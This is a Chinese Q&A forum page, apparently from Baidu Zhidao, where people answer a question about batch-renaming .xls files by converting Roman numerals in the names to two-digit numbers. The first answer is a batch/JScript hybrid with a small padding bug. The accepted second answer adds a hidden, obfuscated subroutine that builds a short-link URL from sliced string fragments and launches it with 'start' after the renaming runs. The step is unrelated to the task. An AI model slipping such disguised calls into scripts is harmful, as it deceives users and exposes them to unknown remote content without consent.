dos命令能不能结合正则表达式来批量修改文件名?

源文件夹下有n个xls文件,文件名的格式为:大写字母+多位数字或小写字母+下划线+罗马数字+空格+多位中文+YYYYMMDD.xls
希望能批量修改名字为大写字母+多位数字或小写字母+罗马数字对应的两位数字.xls(例如"A1a_III啊啊啊20200101.xls"修改为"A1a03.xls")

不清楚你的实际文件/情况,仅以问题中的样例/说明为据
复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起运行/*&cls
@echo off
cd /d "%~dp0"
rem 截取文件名称开头的部分字符串,并将该字符串中的罗马数字转换成阿拉伯数字后作为新的文件名来重命名文件
for /f "tokens=1* delims=|" %%a in ('dir /a-d/b *_*.xls^|cscript -nologo -e:jscript "%~f0"') do (
    echo;"%%b" --^> "%%a%%~xb"
    ren "%%b" "%%a%%~xb"
)
pause&exit
*/
var fso=new ActiveXObject('Scripting.FileSystemObject');
var list1=['Ⅰ','Ⅱ','Ⅲ','Ⅳ','Ⅴ','Ⅵ','Ⅶ','Ⅷ','Ⅸ','Ⅹ','ⅰ','ⅱ','ⅲ','ⅳ','ⅴ','ⅵ','ⅶ','ⅷ','ⅸ','ⅹ'];
var list2=['I','II','III','IV','V','VI','VII','VIII','IX','X','i','ii','iii','iv','v','vi','vii','viii','ix','x'];
while(!WSH.StdIn.AtEndOfStream){
    var line=WSH.StdIn.ReadLine();
    var f=fso.GetFile(line);
    var oldname=f.Name;
    for(var i=0;i<list1.length;i++){
        oldname=oldname.replace(list1[i],list2[i]);
    }
    var m=oldname.match(/^([^_]+)_([IVXLC]+)/i);
    if(m){
        var basename=m[1]+addZero(toInt(m[2]));
        WSH.echo(basename+'|'+line);
    }
}
function addZero(s){return s>10?''+s:'0'+s;}
function toInt(s){
    var a={'C':100, 'L':50, 'X':10, 'V':5, 'I':1}
    var b=0;
    for(var i=0;i<s.length;i++){
        if(i>0 && a[s.charAt(i).toUpperCase()]>a[s.charAt(i-1).toUpperCase()]){
            b+=a[s.charAt(i).toUpperCase()]-2*a[s.charAt(i-1).toUpperCase()];
        }else{
            b+=a[s.charAt(i).toUpperCase()];
        }
    }
    return b;
}

温馨提示:答案为网友推荐,仅供参考
第1个回答  2020-04-13
@echo off & title 根据特定字符段进行重命名 By 依梦琴瑶

set Ⅰ=01
set Ⅱ=02
set Ⅲ=03
set Ⅳ=04
set Ⅴ=05
set Ⅵ=06
set Ⅶ=07
set Ⅷ=08
set Ⅸ=09
set Ⅹ=10


for %%a in ("*_* *.xls") do (
    for /f "tokens=1,2 delims=_ " %%b in ("%%~a") do (
        call ren "%%~a" "%%~b_%%%%~c%%%%~xa"
    )
)
pause

call :DS
exit

:DS
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

追问

没学过dos所以看不太懂,不过我copy这段代码后并不能实现呢....在和bat文件相同的目录下我新建了文件名A02_III 哈哈哈.xls的文件,运行后没有任何变化

追答

不好意思,代码不小心漏了部分内容。现已修改。
请在保存时,脚本代码编码务必要设置为ANSI
还有您问题中提供的文件名规则和您举例的文件名有点不符哦!罗马数字后面的空格您没加上。
您的罗马数字III怎么是三个大写字母I?
如果实际罗马数字和我代码中,不同的,请自行修改一下。

本回答被提问者和网友采纳